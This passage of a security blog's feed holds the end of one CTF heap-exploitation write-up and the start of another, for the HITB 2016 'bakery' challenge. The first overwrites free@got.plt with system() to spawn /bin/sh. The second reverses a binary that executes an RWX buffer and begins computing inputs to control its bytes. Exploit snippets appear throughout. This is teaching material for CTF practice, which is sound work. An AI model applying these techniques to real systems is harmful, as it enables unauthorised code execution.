&lt;li&gt;allocate a second note, whose malloc-ed size will drop us into the GOT;&lt;&#x2F;li&gt;
&lt;li&gt;overwrite &lt;code&gt;notes[1]&lt;&#x2F;code&gt; chunk headers by editing &lt;code&gt;notes[0]&lt;&#x2F;code&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;create a last chunk that will actually overwrite the desired address.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;code&gt;free@got.plt&lt;&#x2F;code&gt; at 0x602018 is a good candidate to be overwritten, so we need to
create a size of &lt;code&gt;free_location - notes_location&lt;&#x2F;code&gt;. With a few adjustments we
get:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    sz = free_location - notes_location - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;512
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Enter note body size: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;(sz))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we know that &lt;code&gt;free@got.plt&lt;&#x2F;code&gt; will be overwritten by the &lt;code&gt;note-&amp;gt;name&lt;&#x2F;code&gt; of the
next note created.&lt;&#x2F;p&gt;
&lt;p&gt;With the memory leak explained above, we can dynamically get several addresses
in the GOT. Using &lt;code&gt;libcdb&lt;&#x2F;code&gt; on those 2 addresses we can know the
libc version and therefore the offset of the &lt;code&gt;system()&lt;&#x2F;code&gt; function:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    system_addr = libc_base + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x00046640
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;All we have left to do, is to write &lt;code&gt;&quot;&#x2F;bin&#x2F;sh&quot;&lt;&#x2F;code&gt; as the note-&amp;gt;name of the note we
will want to delete.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Create 1st note&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;  s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;  s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;  s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Enter note body size: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;  s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;  s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;  s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\0\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Put it all together in the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;de228ac01bae2125481cae00790a3a88&quot;&gt;complete exploit&lt;&#x2F;a&gt;
and you get the flag:
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;t2wYPsl.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;t2wYPsl.png&quot;

    

    
    title=&quot;flag&quot;
    alt=&quot;flag&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>HITB 2016 - Bakery write-up</title>
        <published>2016-04-01T00:00:00+00:00</published>
        <updated>2016-04-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-04-01-hitb-teaser-2016-bakery/"/>
        <id>https://blahcat.github.io/2016-04-01-hitb-teaser-2016-bakery/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-04-01-hitb-teaser-2016-bakery/">&lt;p&gt;I participated to &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ctftime.org&#x2F;event&#x2F;325&#x2F;&quot;&gt;HITB Teaser CTF&lt;&#x2F;a&gt; only to have a bit of
fun with there pwnable challenge(s) which I find usually fun and
instructive. The teaser only offered one pwnable challenge, named &lt;code&gt;bakery&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  !file .&#x2F;bakery.910abf341053d25831ecb465b7ddf738
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;bakery.910abf341053d25831ecb465b7ddf738:&lt;&#x2F;span&gt;&lt;span&gt; ELF 64-bit LSB executable, x86-64, version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dynamically linked, interpreter &#x2F;lib64&#x2F;ld-linux-x86-64.so.2, for GNU&#x2F;Linux 2.6.32, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=74fa32ca74594550d59ff5fb64b8dd523965cdfc, stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  checksec .&#x2F;bakery.910abf341053d25831ecb465b7ddf738
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; checksec for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&#x2F;bakery.910abf341053d25831ecb465b7ddf738&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary:&lt;&#x2F;span&gt;&lt;span&gt;                                           Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX&lt;&#x2F;span&gt;&lt;span&gt; Support:                                       Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE&lt;&#x2F;span&gt;&lt;span&gt; Support:                                      No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                            No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RUNPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                          No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                    Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Full&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                       No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It is a baking program, that allows to build your own recipe.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;After printing the available ingredients, the &lt;code&gt;main&lt;&#x2F;code&gt; function does this (at
0x0400CBC)
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;yrFucNx.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;yrFucNx.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Which translates to the pseudo-code:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;buf = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;mmap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;, RWX, flags, ...);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;memset&lt;&#x2F;span&gt;&lt;span&gt;(buf, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\xc3&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;srand&lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;) );
&lt;&#x2F;span&gt;&lt;span&gt;randint = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span&gt;() * &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1337&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0v3n w4rm3d up to &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; d3greez! (d4mn h0t!)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, randint);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then it enters a loop to add the ingredients:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Add ingredient&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fgets&lt;&#x2F;span&gt;&lt;span&gt;(ingredient, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;127&lt;&#x2F;span&gt;&lt;span&gt;, stdin);
&lt;&#x2F;span&gt;&lt;span&gt;ingredient[ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;strlen&lt;&#x2F;span&gt;&lt;span&gt;(ingredient)-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;] = &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;strncmp&lt;&#x2F;span&gt;&lt;span&gt;(ingredient, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;BAKE&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If we enter &lt;code&gt;BAKE&lt;&#x2F;code&gt;, it will simply jump to the buffer allocated by &lt;code&gt;mmap&lt;&#x2F;code&gt; from
above:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400EB8                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;mmap_buf&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400EBF                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;var_108&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400EC6                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rdx&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;mmap_buf&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400ECD                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;var_108&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400ED4                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rdi&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rdx
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400ED7                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;call    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Otherwise, it will check using &lt;code&gt;strstr()&lt;&#x2F;code&gt; if our ingredient we entered is in the
list of valid ingredients. If the sub-string was found, it calls a function at
0x400B15 with 2 arguments, the string we provided as input for ingredient, and
the random integer generated initially.&lt;&#x2F;p&gt;
&lt;p&gt;The function at 0x400B15 is fairly simply and could be translate to pseudo-code
like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;func_400B15&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;init&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; accu;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i;
&lt;&#x2F;span&gt;&lt;span&gt;  accu = init;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt;( i=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;strlen&lt;&#x2F;span&gt;&lt;span&gt;(input); i++ ) accu += input[i];
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; accu;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The result is then &lt;code&gt;and&lt;&#x2F;code&gt;-ed to 0xff and written at current location in the mmap
allocated buffer&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400E77                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;p_mmap_buf&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400E7E                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;movzx   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;edx&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400E85                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dl
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000000000400E87                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;add     &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;p_mmap_buf&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The pointer to the &lt;code&gt;mmap&lt;&#x2F;code&gt; buffer is incremented.&lt;&#x2F;p&gt;
&lt;p&gt;So what this program is doing, is using the “accumulator” function to write
inside the &lt;code&gt;mmap&lt;&#x2F;code&gt; buffer, which will then be jumped into and executed.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;p&gt;Getting the initial random integer can be done by reading from the socket until
receiving the string &lt;code&gt;0v3n w4rm3d up to&lt;&#x2F;code&gt; and divide this value by 0x1337.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# get the init rand()
&lt;&#x2F;span&gt;&lt;span&gt;    parts = s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;split&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    temp = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(parts[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Got temp=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % temp)
&lt;&#x2F;span&gt;&lt;span&gt;    rand = temp &#x2F; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1337
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Got rand=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % rand)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To reliably control the content of the &lt;code&gt;mmap&lt;&#x2F;code&gt;-ed buffer, we need to “compensate”
the accumulation that the function is doing. Since we know the initial random
integer, my approach was to use one of the valid ingredients (in this case
&lt;code&gt;FLOUR&lt;&#x2F;code&gt;) which is required to pass the &lt;code&gt;strstr()&lt;&#x2F;code&gt; check, sum up the ascii values
of the letters of the word, and add the random init.&lt;&#x2F;p&gt;
